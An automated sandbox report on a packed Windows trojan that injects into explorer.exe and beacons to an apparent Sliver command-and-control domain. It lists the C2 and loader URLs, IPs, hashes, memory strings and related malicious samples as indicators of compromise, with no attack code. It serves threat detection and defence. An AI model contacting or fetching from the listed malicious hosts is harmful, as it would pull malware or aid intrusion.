https://sliver.kaboum.xyz/jscript/javascript/javascript/jscript/backbone.js?sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/app.min.js?j=77b347985	0%	Avira URL Cloud	safe
https://Content-Lengthm=592372t201HTTP/1.1HTTP/1.1eUser-Agenthttp-serverlocal-addrAccept-Lm=Content-	0%	Avira URL Cloud	safe
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Ly=	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/js/js/js/jscript/array.js?	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/array.js?t=s877e48243	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/array.js?_=g661402p67	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kaboum.xyz	51.158.71.131	true	true		unknown
sliver.kaboum.xyz	51.44.82.197	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://sliver.kaboum.xyz/umd/app.min.js?k=9h6771280	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/jscript/javascripts/backbone.js?m=592372t20	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/jscript/javascripts/javascript/backbone.js?n=8f418919	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/javascripts/js/app.min.js?u=297s61600	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/jscript/javascript/javascript/jscript/backbone.js?z=22417500	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/php/namespaces/db/samples.php?t=721425e9	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/javascript/script/javascripts/javascript/app.js?k=56j965629	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/umd/umd/umd/array.js?u=7966a1472	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/js/js/script.js?p=943p34348	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/script/array.js?x=9718174h0	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/umd/js/javascript/javascript/app.min.js?_=4567r497t2	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/script/umd/jscript/script/umd/app.js?p=2v1499328	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/umd/app.min.js?y=16611822	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/js/script/javascript/array.js?y=113v858r22	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/js/jscript/javascript/jscript/script/backbone.js?v=84539617	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/javascripts/js/backbone.js?j=53g331447	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/script/javascripts/javascript/app.min.js?k=100708pl054	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/array.js?k=27362561	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/namespaces/oauth/oauth/api/api.html?e_=5y8741670&j=1q5593623	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/script/jscript/jscript/app.js?c=81295133	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/js/js/js/jscript/array.js?x=61443060	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/script/javascripts/jscript/javascript/js/app.min.js?e=27952824	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/javascripts/jscript/backbone.js?s=8x22o52328	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/app.min.js?j=77b347985	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/array.js?t=s877e48243	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/array.js?_=g661402p67	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://sliver.kaboum.xyz/javascript/javascripts/jscript/backbone.js?sliver.kaboum.xyz	explorer.exe, 00000004.00000002.3317296206.000000C0000A0000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://_=4567r497t21HTTP/1.1HTTP/1.1eUser-AgentAccept-L_=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000004.00000002.3317296206.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.office.com	twjMb9cX64.exe, 00000000.00000003.2324880769.0000018F78484000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009B89000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3095422777.0000000009B82000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/javascripts/js/js/js/jscript/array.js?x=61443060Mozilla/5.0	explorer.exe, 00000004.00000002.3322536354.000000C000540000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kernel32.dllwinhttp.dllavx512eravx512pfu=7966a1472avx512vlavx512bwavx512dq	explorer.exe, 00000004.00000002.3317296206.000000C00018B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://s=8x22o523281HTTP/1.1HTTP/1.1eUser-AgentAccept-Ls=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000004.00000002.3317296206.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://p=2v1499328SetPriorityClass1HTTP/1.1HTTP/1.1eSetStdHandleSetVolumeLabelWSizeofResourceTermin	explorer.exe, 00000004.00000002.3317296206.000000C00018B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Le=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000004.00000002.3317296206.000000C000272000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/script/javascripts/jscript/javascript/js/app.min.js?sliver.kaboum.xyz	explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000004.00000003.3095794136.000000000C50F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2336543362.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3310051073.000000000C512000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/php/namespaces/db/samples.php?	explorer.exe, 00000004.00000002.3317296206.000000C000020000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://j=77b3479851HTTP/1.1HTTP/1.1eUser-AgentAccept-Lj=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://k=273625611HTTP/1.1HTTP/1.1eUser-AgentAccept-Lk=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000004.00000002.3317296206.000000C0000C4000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1wglShareListsHTTP/1.1HTTP/1.1User-AgenteAccept-Lz=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000004.00000002.3317296206.000000C00018B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/script/umd/jscript/script/umd/app.js?	explorer.exe, 00000004.00000002.3317296206.000000C00007A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/js/jscript/javascript/jscript/script/backbone.js?	explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/php/namespaces/db/samples.php?t=721425e9Mozilla/5.0	explorer.exe, 00000004.00000002.3317296206.000000C000064000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/js/jscript/javascript/jscript/script/backbone.js?sliver.kaboum.xyz	explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/javascripts/js/app.min.js?u=297s61600Mozilla/5.0	explorer.exe, 00000004.00000002.3317296206.000000C0001EC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.com	twjMb9cX64.exe, 00000000.00000003.2324880769.0000018F78484000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009B89000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009D42000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/javascript/javascripts/jscript/backbone.js?	explorer.exe, 00000004.00000002.3317296206.000000C0000A0000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyzhttps://sliver.kaboum.xyzhttps://sliver.kaboum.xyztime:	explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/0123456789abcdefx	explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://2.5.2.5.292.5.29.2.5.29.192.2.52.5.2.5.292.5.29.2.5.29.152.2.5user-PC	explorer.exe, 00000004.00000002.3317296206.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyzb	explorer.exe, 00000004.00000002.3317296206.000000C00039A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3317296206.000000C000388000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://y=113v858r221HTTP/1.1HTTP/1.1eUser-AgentAccept-Ly=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000004.00000002.3317296206.000000C0000C4000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000004.00000002.3303939695.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3096404072.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2331272535.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	false		high
https://kernel32.dll	explorer.exe, 00000004.00000002.3317296206.000000C00018B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/php/namespaces/db/samples.php?Y	explorer.exe, 00000004.00000002.3317296206.000000C000020000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.comon	explorer.exe, 00000004.00000002.3306176398.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://GetSecurityInfoImpersonateSelfc=812951331HTTP/1.1HTTP/1.1eUser-AgentAccept-Lc=Accept-Languag	explorer.exe, 00000004.00000002.3317296206.000000C00017E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/jscript/javascript/javascript/jscript/backbone.js?	explorer.exe, 00000004.00000002.3317296206.000000C000026000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://n=8f4189191HTTP/1.1HTTP/1.1eSoft_DottedWhite_SpaceInheritedUser-AgentAccept-Ln=complex64comp	explorer.exe, 00000004.00000002.3317296206.000000C00007A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/jscript/javascripts/javascript/backbone.jss	explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/umd/js/javascript/javascript/app.min.js?	explorer.exe, 00000004.00000002.3317296206.000000C0000A0000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://powerpoint.office.comcember	explorer.exe, 00000004.00000002.3310051073.000000000C460000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2336543362.000000000C460000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/script/javascripts/jscript/javascript/js/app.min.js?	explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://globalRequestMsgchannelOpenMsgu=297s616001HTTP/1.1channelDataMsgwindowAdjustMsgHTTP/1.1eUser	explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz	explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/West	explorer.exe, 00000004.00000002.3317296206.000000C00007A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/javascripts/js/backbone.js	explorer.exe, 00000004.00000002.3317296206.000000C0001CC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/jscript/javascripts/javascript/backbone.jssliver.kaboum.xyz	explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	explorer.exe, 00000004.00000002.3305169266.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.3305232316.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.3304617981.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/javascripts/javascripts/js/app.min.js?	explorer.exe, 00000004.00000002.3317296206.000000C0001EC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://k=9h67712801HTTP/1.1HTTP/1.1eUser-AgentAccept-Lk=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/jscript/javascripts/backbone.js?	explorer.exe, 00000004.00000002.3317296206.000000C0000A0000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/jscript/javascripts/backbone.js?m=592372t20Mozilla/5.0	explorer.exe, 00000004.00000002.3317296206.000000C00004A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/	explorer.exe, 00000004.00000002.3317296206.000000C0002A6000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://j=53g331447advapi32.dll1HTTP/1.1HTTP/1.1ecrypt32.dllUser-AgentAccept-Lj=dnsapi.dlliphlpapi.d	explorer.exe, 00000004.00000002.3317296206.000000C00007A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/script/jscript/jscript/app.js?c=81295133sliver.kaboum.xyz	explorer.exe, 00000004.00000002.3317296206.000000C000026000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/script/umd/jscript/script/umd/app.js?p=2v1499328Mozilla/5.0	explorer.exe, 00000004.00000002.3317296206.000000C000152000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Lv=SetWindowPosShowWindowTrackMouseEventTrackPopupMenuAcc	explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://_=g661402p671HTTP/1.1HTTP/1.1eUser-AgentAccept-L_=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000004.00000002.3317296206.000000C000272000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/wglGetLayerPaletteEntrieswglSetLayerPaletteEntries	explorer.exe, 00000004.00000002.3317296206.000000C00016A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://x=9718174h01HTTP/1.1HTTP/1.1eUser-AgentAccept-Lx=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/channel	explorer.exe, 00000004.00000002.3317296206.000000C00007A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyze_=5y8741670&j=1q5593623	explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyzWinHttpSetTimeoutshttps://sliver.kaboum.xyzWinHttpGetProxyForUrl	explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wns.windows.com/)s	explorer.exe, 00000004.00000002.3306176398.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/javascripts/javascripts/js/backbone.js?j=53g331447Mozilla/5.0	explorer.exe, 00000004.00000002.3317296206.000000C000064000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://k=56j9656291HTTP/1.1HTTP/1.1eUser-AgentAccept-Lk=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000004.00000002.3317296206.000000C00021E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/js/script/javascript/array.js?	explorer.exe, 00000004.00000002.3317296206.000000C000020000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kaboum.xyz/artdonjon/loader.bin	twjMb9cX64.exe, 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, twjMb9cX64.exe, 00000000.00000003.2324318794.0000018F7646F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sliver.kaboum.xyz/javascripts/umd/js/javascript/javascript/app.min.js?sliver.kaboum.xyz	explorer.exe, 00000004.00000002.3317296206.000000C0000A0000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/7	explorer.exe, 00000004.00000002.3317296206.000000C000020000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://2.5.2.5.29	explorer.exe, 00000004.00000002.3317296206.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/js/script/javascript/array.js?y=113v858r22Mozilla/5.0	explorer.exe, 00000004.00000002.3317296206.000000C0003C4000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Ly=	explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/js/js/js/jscript/array.js?	explorer.exe, 00000004.00000002.3322536354.000000C000540000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/	explorer.exe, 00000004.00000003.3094400657.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://Content-Lengthm=592372t201HTTP/1.1HTTP/1.1eUser-Agenthttp-serverlocal-addrAccept-Lm=Content-	explorer.exe, 00000004.00000002.3317296206.000000C00017E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/jscript/javascript/javascript/jscript/backbone.js?sliver.kaboum.xyz	explorer.exe, 00000004.00000002.3317296206.000000C000026000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.v	explorer.exe, 00000004.00000000.2329335338.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3301219872.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
51.44.82.197	sliver.kaboum.xyz	United States		2686	ATGS-MMD-ASUS	true
51.158.71.131	kaboum.xyz	France		12876	OnlineSASFR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577181
Start date and time:	2024-12-18 08:45:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	twjMb9cX64.exe renamed because original name is a hash value
Original Sample Name:	d4f3691207d861879644430e973fc4e04b09c7f2ed9ce33d6d2a4361f632ba16.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@2/0@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 92% Number of executed functions: 74 Number of non-executed functions: 58
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target explorer.exe, PID 1028 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:47:00	API Interceptor	575x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51.158.71.131	zabardast-movie2024.mp3.exe	Get hash	malicious	Sliver	Browse
51.158.71.131	zabardast-movie2024.mp3.exe	Get hash	malicious	Sliver	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATGS-MMD-ASUS	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	32.225.225.156
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	33.125.183.47
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	33.117.173.192
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	48.10.23.227
	arm5.nn-20241218-0633.elf	Get hash	malicious	Mirai, Okiru	Browse	56.3.220.202
	arm.nn-20241218-0633.elf	Get hash	malicious	Mirai, Okiru	Browse	32.81.241.213
	arm7.nn-20241218-0633.elf	Get hash	malicious	Mirai, Okiru	Browse	51.86.78.83
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	32.21.216.122
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	32.82.240.131
	1.elf	Get hash	malicious	Unknown	Browse	57.11.41.126
OnlineSASFR	bot.mips.elf	Get hash	malicious	Mirai	Browse	51.158.232.138
	https://antiphishing.vadesecure.com/v4?f=M2FwZHlGNnU1aUlkc09ZNMiasRwGBdZehRVCQSRcBe4&i=WjB4M1dJWGJJMnNGTHV5MsMuKUIodncDHGeRU4kVkuY&k=CXOq&r=Skk2OVhvdXl2cm1uOWJtRKZOD61t44mSShExmLHL82awntC61WSfAdSPd_A2w4Sr0ol-2lJuHE1y6ZnIh9tzeQ&s=c0986918e90c31f67e295092df95ad67b5167b30a053715360f0707a34067922&u=https%3A%2F%2Fgeomesure-my.sharepoint.com%2F%3Ao%3A%2Fg%2Fpersonal%2Fjeason_geomesure_fr%2FEjezfvLh_FRNp0BDRFgaob0B5QrN_MFtVHWEoF2b4R1bRw%3Fe%3DomoERY	Get hash	malicious	Unknown	Browse	163.172.240.109
	801.ps1	Get hash	malicious	AsyncRAT	Browse	163.172.125.253
	BA9qyj2c9G.exe	Get hash	malicious	WhiteSnake Stealer	Browse	51.159.4.50
	pbnpvwfhco.elf	Get hash	malicious	Unknown	Browse	151.115.178.130
	nlGOh9K5X5.exe	Get hash	malicious	Xmrig	Browse	51.15.193.130
	LfHJdrALlh.exe	Get hash	malicious	Xmrig	Browse	51.15.58.224
	l64.elf	Get hash	malicious	Xmrig	Browse	51.158.204.249
	Opportunity Offering Pure Home Improvement Unique Guest Post Websites A... (107Ko).msg	Get hash	malicious	Unknown	Browse	163.172.240.109
	EHak.exe	Get hash	malicious	Unknown	Browse	62.210.124.132

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	credit.js	Get hash	malicious	PureLog Stealer, RHADAMANTHYS	Browse	51.158.71.131
	PK241200518-EMAIL RELEASE-pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	51.158.71.131
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	51.158.71.131
	https://ce4.ajax.a8b.co/get?redir=1&id=d4vCW7zizPl1mo0GYx0ELgo+CCIybH9/c4qC7CeWEuI=&uri=//the-western-fire-chiefs-association.jimdosite.com	Get hash	malicious	Unknown	Browse	51.158.71.131
	zyEDYRU0jw.exe	Get hash	malicious	Arcane	Browse	51.158.71.131
	zyEDYRU0jw.exe	Get hash	malicious	Arcane	Browse	51.158.71.131
	hngarm13de02.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	51.158.71.131
	http://escrowmedifllc.hostconstructionapp.com	Get hash	malicious	Unknown	Browse	51.158.71.131
	BBVA S.A..vbs	Get hash	malicious	Remcos	Browse	51.158.71.131
	ugpJX5h56S.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	51.158.71.131

File type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.996815290238267
TrID:	UPX compressed Win32 Executable (30571/9) 65.62% Win64 Executable (generic) (12005/4) 25.77% Generic Win/DOS Executable (2004/3) 4.30% DOS Executable Generic (2002/1) 4.30% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.02%
File name:	twjMb9cX64.exe
File size:	421'888 bytes
MD5:	c0cb12ec25b885e22e8c57536a88de5f
SHA1:	5c2678ef28ff6b68470f3e9fc99877c70b934653
SHA256:	d4f3691207d861879644430e973fc4e04b09c7f2ed9ce33d6d2a4361f632ba16
SHA512:	c9b1a28f6071019a9e1600116c6ff17b85ed6341ea58771bc162ce8715410b11009d5b115f4e05d0ceeffbf8404449a932448e55a3575c9a68083c0f6afa2efa
SSDEEP:	12288:d+Q7rRIJk1tqvscE34UVtgZud0GaZG9p0cgx:AQx1Dqc34PudtaZqqx
TLSH:	F9942303A6067BFCCD960AF146BE8BB947E53816BD17889388B63034753E74652FC175
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...].ag...............(.p.......`.......p.....@..........................................`... ............................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14012cac0
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
